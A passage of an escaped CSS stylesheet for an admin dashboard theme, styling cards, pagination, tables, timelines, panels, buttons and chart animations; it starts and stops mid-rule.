#f1effd;\n  color: #5c4ac7;\n}\n.label-light-inverse {\n  background-color: #f6f6f6;\n  color: #2f3d4a;\n}\n.breadcrumb {\n  margin-bottom: 0;\n}\n.page-titles {\n  background: #ffffff;\n  margin: 0 0 30px;\n  padding: 15px 10px;\n  position: relative;\n  z-index: 10;\n  -webkit-box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1);\n  box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1);\n}\n.page-titles h3 {\n  margin-bottom: 0;\n  margin-top: 0;\n}\n.page-titles .breadcrumb {\n  padding: 0;\n  background: transparent;\n  font-size: 14px;\n}\n.page-titles .breadcrumb li {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.page-titles .breadcrumb .breadcrumb-item + .breadcrumb-item:before {\n  content: \"\\e649\";\n  font-family: themify;\n  color: #a6b7bf;\n  font-size: 11px;\n}\n.page-titles .breadcrumb .breadcrumb-item.active {\n  color: #99abb4;\n}\n.pagination > li:first-child > a {\n  border-bottom-left-radius: 4px;\n  border-top-left-radius: 4px;\n}\n.pagination > li:first-child > span {\n  border-bottom-left-radius: 4px;\n  border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a {\n  border-bottom-right-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.pagination > li:last-child > span {\n  border-bottom-right-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.pagination > li > a {\n  color: #263238;\n}\n.pagination > li > a:focus {\n  background-color: #f2f4f8;\n}\n.pagination > li > a:hover {\n  background-color: #f2f4f8;\n}\n.pagination > li > span {\n  color: #263238;\n}\n.pagination > li > span:focus {\n  background-color: #f2f4f8;\n}\n.pagination > li > span:hover {\n  background-color: #f2f4f8;\n}\n.pagination > .active > a {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination > .active > a:focus {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination > .active > a:hover {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination > .active > span {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination > .active > span:focus {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination > .active > span:hover {\n  background-color: #1976d2;\n  border-color: #1976d2;\n}\n.pagination-split li {\n  margin-left: 5px;\n  display: inline-block;\n  float: left;\n}\n.pagination-split li:first-child {\n  margin-left: 0;\n}\n.pagination-split li a {\n  -moz-border-radius: 4px;\n  -webkit-border-radius: 4px;\n  border-radius: 4px;\n}\n.pager li > a {\n  -moz-border-radius: 4px;\n  -webkit-border-radius: 4px;\n  border-radius: 4px;\n  color: #263238;\n}\n.pager li > span {\n  -moz-border-radius: 4px;\n  -webkit-border-radius: 4px;\n  border-radius: 4px;\n  color: #263238;\n}\n.footer {\n  background: #ffffff none repeat scroll 0 0;\n  border-top: 1px solid rgba(120, 130, 140, 0.13);\n  color: #67757c;\n  left: 0;\n  padding: 17px 15px;\n  position: absolute;\n  right: 0;\n}\n.footer {\n  left: 240px;\n}\n#chartdiv3 {\n  height: 450px;\n  width: 100%;\n}\n#chartdiv {\n  height: 450px;\n  width: 100%;\n}\n#zoomable {\n  height: 450px;\n  width: 100%;\n}\n#chartMap {\n  height: 450px;\n  width: 100%;\n}\n.amcharts-graph-g2 .amcharts-graph-stroke {\n  stroke-dasharray: 3px 3px;\n  stroke-linejoin: round;\n  stroke-linecap: round;\n  -webkit-animation: am-moving-dashes 1s linear infinite;\n  animation: am-moving-dashes 1s linear infinite;\n}\n@-webkit-keyframes am-moving-dashes {\n  100% {\n    stroke-dashoffset: -31px;\n  }\n}\n@keyframes am-moving-dashes {\n  100% {\n    stroke-dashoffset: -31px;\n  }\n}\n.lastBullet {\n  -webkit-animation: am-pulsating 1s ease-out infinite;\n  animation: am-pulsating 1s ease-out infinite;\n}\n@-webkit-keyframes am-pulsating {\n  0% {\n    stroke-opacity: 1;\n    stroke-width: 0px;\n  }\n  100% {\n    stroke-opacity: 0;\n    stroke-width: 50px;\n  }\n}\n@keyframes am-pulsating {\n  0% {\n    stroke-opacity: 1;\n    stroke-width: 0px;\n  }\n  100% {\n    stroke-opacity: 0;\n    stroke-width: 50px;\n  }\n}\n.amcharts-graph-column-front {\n  -webkit-transition: all 0.3s 0.3s ease-out;\n  transition: all 0.3s 0.3s ease-out;\n}\n.amcharts-graph-column-front:hover {\n  fill: #496375;\n  stroke: #496375;\n  -webkit-transition: all 0.3s ease-out;\n  transition: all 0.3s ease-out;\n}\n.amcharts-graph-g3 {\n  stroke-linejoin: round;\n  stroke-linecap: round;\n  stroke-dasharray: 500%;\n  stroke-dasharray: 0 /;\n  /* fixes IE prob */\n  stroke-dashoffset: 0 /;\n  /* fixes IE prob */\n  -webkit-animation: am-draw 40s;\n  animation: am-draw 40s;\n}\n@-webkit-keyframes am-draw {\n  0% {\n    stroke-dashoffset: 500%;\n  }\n  100% {\n    stroke-dashoffset: 0%;\n  }\n}\n@keyframes am-draw {\n  0% {\n    stroke-dashoffset: 500%;\n  }\n  100% {\n    stroke-dashoffset: 0%;\n  }\n}\n/*    Font Variable\n----------------------*/\n/*    Color Variable\n-----------------------*/\n/*    Solid Color\n------------------*/\n/*    Brand color\n----------------------*/\n.card {\n  margin-bottom: 30px;\n}\n.card .card-subtitle {\n  color: #99abb4;\n  font-weight: 300;\n  margin-bottom: 15px;\n}\n.card-inverse .card-bodyquote .blockquote-footer {\n  color: rgba(255, 255, 255, 0.65);\n}\n.card-inverse .card-link {\n  color: rgba(255, 255, 255, 0.65);\n}\n.card-inverse .card-subtitle {\n  color: rgba(255, 255, 255, 0.65);\n}\n.card-inverse .card-text {\n  color: rgba(255, 255, 255, 0.65);\n}\n.card-success {\n  background: #26dad2 none repeat scroll 0 0;\n  border-color: #26dad2;\n}\n.card-danger {\n  background: #ef5350 none repeat scroll 0 0;\n  border-color: #ef5350;\n}\n.card-warning {\n  background: #ffb22b none repeat scroll 0 0;\n  border-color: #ffb22b;\n}\n.card-info {\n  background: #1976d2 none repeat scroll 0 0;\n  border-color: #1976d2;\n}\n.card-primary {\n  background: #5c4ac7 none repeat scroll 0 0;\n  border-color: #5c4ac7;\n}\n.card-dark {\n  background: #2f3d4a none repeat scroll 0 0;\n  border-color: #2f3d4a;\n}\n.card-megna {\n  background: #00897b none repeat scroll 0 0;\n  border-color: #00897b;\n}\n.card-actions {\n  float: right;\n}\n.card-actions a {\n  color: #67757c;\n  cursor: pointer;\n  font-size: 13px;\n  opacity: 0.7;\n  padding-left: 7px;\n}\n.card-actions a:hover {\n  opacity: 1;\n}\n.card-columns .card {\n  margin-bottom: 20px;\n}\n.collapsing {\n  transition: height 0.08s ease 0s;\n}\n.card-outline-info {\n  border-color: #1976d2;\n}\n.card-outline-info .card-header {\n  background: #1976d2 none repeat scroll 0 0;\n  border-color: #1976d2;\n}\n.card-outline-inverse {\n  border-color: #2f3d4a;\n}\n.card-outline-inverse .card-header {\n  background: #2f3d4a none repeat scroll 0 0;\n  border-color: #2f3d4a;\n}\n.card-outline-warning {\n  border-color: #ffb22b;\n}\n.card-outline-warning .card-header {\n  background: #ffb22b none repeat scroll 0 0;\n  border-color: #ffb22b;\n}\n.card-outline-success {\n  border-color: #26dad2;\n}\n.card-outline-success .card-header {\n  background: #26dad2 none repeat scroll 0 0;\n  border-color: #26dad2;\n}\n.card-outline-danger {\n  border-color: #ef5350;\n}\n.card-outline-danger .card-header {\n  background: #ef5350 none repeat scroll 0 0;\n  border-color: #ef5350;\n}\n.card-outline-primary {\n  border-color: #5c4ac7;\n}\n.card-outline-primary .card-header {\n  background: #5c4ac7 none repeat scroll 0 0;\n  border-color: #5c4ac7;\n}\n.card-body {\n  padding: 0;\n}\n.card {\n  background: #ffffff none repeat scroll 0 0;\n  margin: 15px 0;\n  padding: 20px;\n  border: 0 solid #e7e7e7;\n  border-radius: 5px;\n  box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05);\n}\n.card-subtitle {\n  font-size: 12px;\n  margin: 10px 0;\n}\n.card-title {\n  font-weight: 500;\n  font-size: 18px;\n  line-height: 22px;\n}\n.card-title h4 {\n  display: inline-block;\n  font-weight: 500;\n  font-size: 18px;\n  line-height: 22px;\n}\n.card-title p {\n  font-family: 'Poppins', sans-serif;\n  margin-bottom: 12px;\n}\n.vtabs {\n  display: table;\n}\n.vtabs .tabs-vertical {\n  border-bottom: 0 none;\n  border-right: 1px solid rgba(120, 130, 140, 0.13);\n  display: table-cell;\n  vertical-align: top;\n  width: 150px;\n}\n.vtabs .tabs-vertical li .nav-link {\n  border: 0 none;\n  border-radius: 4px 0 0 4px;\n  color: #263238;\n  margin-bottom: 10px;\n}\n.vtabs .tab-content {\n  display: table-cell;\n  padding: 20px;\n  vertical-align: top;\n}\n.tabs-vertical li .nav-link.active,\n.tabs-vertical li .nav-link.active:focus,\n.tabs-vertical li .nav-link:hover {\n  background: #1976d2 none repeat scroll 0 0;\n  border: 0 none;\n  color: #ffffff;\n}\n.customvtab .tabs-vertical li .nav-link.active,\n.customvtab .tabs-vertical li .nav-link:focus,\n.customvtab .tabs-vertical li .nav-link:hover {\n  -moz-border-bottom-colors: none;\n  -moz-border-left-colors: none;\n  -moz-border-right-colors: none;\n  -moz-border-top-colors: none;\n  background: #ffffff none repeat scroll 0 0;\n  border-color: currentcolor #1976d2 currentcolor currentcolor;\n  border-image: none;\n  border-style: none solid none none;\n  border-width: 0 2px 0 0;\n  color: #1976d2;\n  margin-right: -1px;\n}\n.tabcontent-border {\n  -moz-border-bottom-colors: none;\n  -moz-border-left-colors: none;\n  -moz-border-right-colors: none;\n  -moz-border-top-colors: none;\n  border-color: currentcolor #ddd #ddd;\n  border-image: none;\n  border-style: none solid solid;\n  border-width: 0 1px 1px;\n}\n.customtab2 li a.nav-link {\n  border: 0 none;\n  color: #67757c;\n  margin-right: 3px;\n}\n.customtab2 li a.nav-link.active {\n  background: #1976d2 none repeat scroll 0 0;\n  color: #ffffff;\n}\n.customtab2 li a.nav-link:hover {\n  background: #1976d2 none repeat scroll 0 0;\n  color: #ffffff;\n}\n.modal-dialog {\n  margin: 30px auto;\n  position: relative;\n  top: 50%;\n  transform: translateY(-50%) !important;\n  width: 70%;\n}\n.modal-header .close {\n  font-size: 14px;\n  margin-right: 15px;\n  margin-top: 5px;\n}\n.modal-content {\n  border-radius: 3px;\n}\n.timeline {\n  list-style: none;\n  padding: 0 0 8px;\n  position: relative;\n}\n.timeline:before {\n  top: 7px;\n  bottom: 0;\n  position: absolute;\n  content: \" \";\n  width: 3px;\n  background-color: #e7e7e7;\n  left: 25px;\n  margin-right: -1.5px;\n}\n.timeline-title {\n  margin: 5px 0 !important;\n  font-size: 16px;\n}\n.timeline > li {\n  margin-bottom: 20px;\n  position: relative;\n}\n.timeline > li:after,\n.timeline > li:before {\n  content: \" \";\n  display: table;\n}\n.timeline > li:after {\n  clear: both;\n}\n.timeline > li > .timeline-panel {\n  width: calc(100% - 70px);\n  float: right;\n  border-radius: 2px;\n  padding: 5px 20px;\n  position: relative;\n}\n.timeline > li > .timeline-panel:before {\n  position: absolute;\n  top: 26px;\n  left: -15px;\n  display: inline-block;\n  border-top: 0 solid transparent;\n  border-right: 0 solid #e7e7e7;\n  border-left: 0 solid #e7e7e7;\n  border-bottom: 15px solid transparent;\n  content: \" \";\n}\n.timeline > li > .timeline-panel:after {\n  position: absolute;\n  top: 27px;\n  left: -14px;\n  display: inline-block;\n  border-top: 14px solid transparent;\n  border-right: 14px solid #ffffff;\n  border-left: 0 solid #ffffff;\n  border-bottom: 14px solid transparent;\n  content: \" \";\n}\n.timeline > li > .timeline-badge {\n  color: #ffffff;\n  width: 35px;\n  height: 35px;\n  line-height: 35px;\n  font-size: 1.4em;\n  text-align: center;\n  position: absolute;\n  top: 10px;\n  left: 8px;\n  margin-right: -25px;\n  background-color: #e6a1f2;\n  z-index: 100;\n  border-top-right-radius: 50%;\n  border-top-left-radius: 50%;\n  border-bottom-right-radius: 50%;\n  border-bottom-left-radius: 50%;\n}\n.timeline-body > p {\n  font-size: 12px;\n  margin-bottom: 10px;\n}\n.timeline-badge.primary {\n  background-color: #4680ff !important;\n}\n.timeline-badge.success {\n  background-color: #26dad2 !important;\n}\n.timeline-badge.warning {\n  background-color: #ffb64d !important;\n}\n.timeline-badge.danger {\n  background-color: #fc6180 !important;\n}\n.timeline-badge.info {\n  background-color: #62d1f3 !important;\n}\n.dataTables_wrapper {\n  padding-top: 10px;\n}\n.dt-buttons {\n  display: inline-block;\n  margin-bottom: 15px;\n  padding-top: 5px;\n}\n.dt-buttons .dt-button {\n  background: #1976d2 none repeat scroll 0 0;\n  border-radius: 4px;\n  color: #ffffff;\n  margin-right: 3px;\n  padding: 5px 15px;\n}\n.dt-buttons .dt-button:hover {\n  background: #2f3d4a none repeat scroll 0 0;\n}\n.dataTables_info,\n.dataTables_length {\n  display: inline-block;\n}\n.dataTables_length {\n  margin-top: 10px;\n}\n.dataTables_length select {\n  background-color: transparent;\n  background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb);\n  background-position: center bottom, center calc(99%);\n  background-repeat: no-repeat;\n  background-size: 0 2px, 100% 1px;\n  border: 0 none;\n  padding-bottom: 5px;\n  transition: background 0s ease-out 0s;\n}\n.dataTables_length select:focus {\n  background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb);\n  background-size: 100% 2px, 100% 1px;\n  box-shadow: none;\n  outline: medium none;\n  transition-duration: 0.3s;\n}\n.dataTables_filter {\n  float: right;\n  margin-top: 10px;\n}\n.dataTables_filter input {\n  background-color: transparent;\n  background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb);\n  background-position: center bottom, center calc(99%);\n  background-repeat: no-repeat;\n  background-size: 0 2px, 100% 1px;\n  border: 0 none;\n  border-radius: 0;\n  box-shadow: none;\n  float: none;\n  margin-left: 10px;\n  transition: background 0s ease-out 0s;\n}\n.dataTables_filter input:focus {\n  background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb);\n  background-size: 100% 2px, 100% 1px;\n  box-shadow: none;\n  outline: medium none;\n  transition-duration: 0.3s;\n}\ntable.dataTable thead .sorting,\ntable.dataTable thead .sorting_asc,\ntable.dataTable thead .sorting_asc_disabled,\ntable.dataTable thead .sorting_desc,\ntable.dataTable thead .sorting_desc_disabled {\n  background: transparent none repeat scroll 0 0;\n}\ntable.dataTable thead .sorting_asc::after {\n  content: \"\";\n  cursor: pointer;\n  font-family: fontawesome;\n  margin-left: 10px;\n}\ntable.dataTable thead .sorting_desc::after {\n  content: \"\";\n  cursor: pointer;\n  font-family: fontawesome;\n  margin-left: 10px;\n}\ntable.dataTable thead .sorting::after {\n  color: rgba(50, 50, 50, 0.5);\n  content: \"\";\n  cursor: pointer;\n  font-family: fontawesome !important;\n  margin-left: 10px;\n}\n.dataTables_wrapper .dataTables_paginate {\n  float: right;\n  padding-top: 0.25em;\n  text-align: right;\n}\n.dataTables_wrapper .dataTables_paginate .paginate_button {\n  border: 1px solid #ddd;\n  box-sizing: border-box;\n  color: #67757c;\n  cursor: pointer;\n  display: inline-block;\n  min-width: 1.5em;\n  padding: 0.5em 1em;\n  text-align: center;\n  text-decoration: none;\n}\n.dataTables_wrapper .dataTables_paginate .paginate_button.current,\n.dataTables_wrapper .dataTables_paginate .paginate_button.current:hover {\n  background-color: #1976d2;\n  border: 1px solid #1976d2;\n  color: #ffffff !important;\n}\n.dataTables_wrapper .dataTables_paginate .paginate_button.disabled,\n.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active,\n.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover {\n  background: transparent none repeat scroll 0 0;\n  border: 1px solid #ddd;\n  box-shadow: none;\n  color: #67757c;\n  cursor: default;\n}\n.dataTables_wrapper .dataTables_paginate .paginate_button:hover {\n  background-color: #1976d2;\n  border: 1px solid #1976d2;\n  color: white;\n}\n.dataTables_wrapper .dataTables_paginate .paginate_button:active {\n  background-color: #67757c;\n  outline: medium none;\n}\n.dataTables_wrapper .dataTables_paginate .ellipsis {\n  padding: 0 1em;\n}\n.tablesaw-bar .btn-group label {\n  color: #67757c !important;\n}\n.dt-bootstrap {\n  display: block;\n}\n.paging_simple_numbers .pagination .paginate_button {\n  background: #ffffff none repeat scroll 0 0;\n  padding: 0;\n}\n.paging_simple_numbers .pagination .paginate_button:hover {\n  background: #ffffff none repeat scroll 0 0;\n}\n.paging_simple_numbers .pagination .paginate_button a {\n  border: 0 none;\n  padding: 2px 10px;\n}\n.paging_simple_numbers .pagination .paginate_button.active a,\n.paging_simple_numbers .pagination .paginate_button:hover a {\n  background: #1976d2 none repeat scroll 0 0;\n  color: #ffffff;\n}\n.panel {\n  border-radius: 0;\n  margin: 15px 0;\n}\n.panel-body {\n  font-family: 'Poppins', sans-serif;\n}\n.panel-primary {\n  border-color: #4680ff;\n}\n.panel-primary .panel-heading {\n  background: #4680ff;\n  border-color: #4680ff;\n  color: #ffffff;\n}\n.panel-success {\n  border-color: #26dad2;\n}\n.panel-success .panel-heading {\n  background: #26dad2;\n  border-color: #26dad2;\n  color: #ffffff;\n}\n.panel-info {\n  border-color: #62d1f3;\n}\n.panel-info .panel-heading {\n  background: #62d1f3;\n  border-color: #62d1f3;\n  color: #ffffff;\n}\n.panel-danger {\n  border-color: #fc6180;\n}\n.panel-danger .panel-heading {\n  background: #fc6180;\n  border-color: #fc6180;\n  color: #ffffff;\n}\n.panel-warning {\n  border-color: #ffb64d;\n}\n.panel-warning .panel-heading {\n  background: #ffb64d;\n  border-color: #ffb64d;\n  color: #ffffff;\n}\n.panel-pink {\n  border-color: #e6a1f2;\n}\n.panel-pink .panel-heading {\n  background: #e6a1f2;\n  border-color: #e6a1f2;\n  color: #ffffff;\n}\n.panel-dark {\n  border-color: #444c67;\n}\n.panel-dark .panel-heading {\n  background: #444c67;\n  border-color: #444c67;\n  color: #ffffff;\n}\n.panel-white {\n  border-color: #252525;\n}\n.panel-white .panel-heading {\n  background: #ffffff;\n  border-color: #252525;\n  color: #252525;\n}\n.btn {\n  padding: 7px 12px;\n  cursor: pointer;\n}\n.btn-group label {\n  color: #ffffff !important;\n  margin-bottom: 0;\n}\n.btn-group label.btn-secondary {\n  color: #67757c !important;\n}\n.btn-lg {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.25rem;\n}\n.btn-md {\n  padding: 12px 55px;\n  font-size: 16px;\n}\n.btn-circle {\n  border-radius: 100%;\n  width: 40px;\n  height: 40px;\n  padding: 10px;\n}\n.btn-circle.btn-sm {\n  width: 35px;\n  height: 35px;\n  padding: 8px 10px;\n  font-size: 14px;\n}\n.btn-circle.btn-lg {\n  width: 50px;\n  height: 50px;\n  padding: 14px 15px;\n  font-size: 18px;\n  line-height: 22px;\n}\n.btn-circle.btn-xl {\n  width: 70px;\n  height: 70px;\n  padding: 14px 15px;\n  font-size: 24px;\n}\n.btn-sm {\n  padding: 0.25rem 0.5rem;\n  font-size: 12px;\n}\n.btn-xs {\n  padding: 0.25rem 0.5rem;\n  font-size: 10px;\n}\n.button-list a {\n  margin: 5px 12px 5px 0;\n}\n.button-list button {\n  margin: 5px 12px 5px 0;\n}\n.btn-outline {\n  color: inherit;\n  background-color: transparent;\n  -webkit-transition: all 0.5s;\n  -o-transition: all 0.5s;\n  transition: all 0.5s;\n}\n.btn-rounded {\n  border-radius: 60px;\n  padding: 7px 18px;\n}\n.btn-rounded.btn-lg {\n  padding: 0.75rem 1.5rem;\n}\n.btn-rounded.btn-sm {\n  padding: 0.25rem 0.5rem;\n  font-size: 12px;\n}\n.btn-rounded.btn-xs {\n  padding: 0.25rem 0.5rem;\n  font-size: 10px;\n}\n.btn-rounded.btn-md {\n  padding: 12px 35px;\n  font-size: 16px;\n}\n.btn-secondary {\n  -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n  background-color: #ffffff;\n  color: #67757c;\n  border-color: #b1b8bb;\n}\n.btn-secondary:hover {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary:focus {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary.disabled {\n  -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n  background-color: #ffffff;\n  color: #67757c;\n  border-color: #b1b8bb;\n}\n.btn-secondary.disabled:hover {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary.disabled:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary.disabled:focus {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-secondary.disabled.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2);\n}\n.btn-primary {\n  background: #5c4ac7;\n  border: 1px solid #5c4ac7;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-primary:hover {\n  background: #5c4ac7;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  border: 1px solid #5c4ac7;\n}\n.btn-primary:active {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n}\n.btn-primary:active:focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary:active:hover {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary:focus {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary.disabled {\n  background: #5c4ac7;\n  border: 1px solid #5c4ac7;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-primary.disabled:hover {\n  background: #5c4ac7;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  border: 1px solid #5c4ac7;\n}\n.btn-primary.disabled:active {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n}\n.btn-primary.disabled:focus {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n}\n.btn-primary.active {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n}\n.btn-primary.active:focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary.active:hover {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary.disabled.active {\n  background: #6352ce;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2);\n}\n.btn-themecolor {\n  background: #1976d2;\n  color: #ffffff;\n  border: 1px solid #1976d2;\n}\n.btn-themecolor:hover {\n  background: #1976d2;\n  opacity: 0.7;\n  border: 1px solid #1976d2;\n}\n.btn-themecolor:active {\n  background: 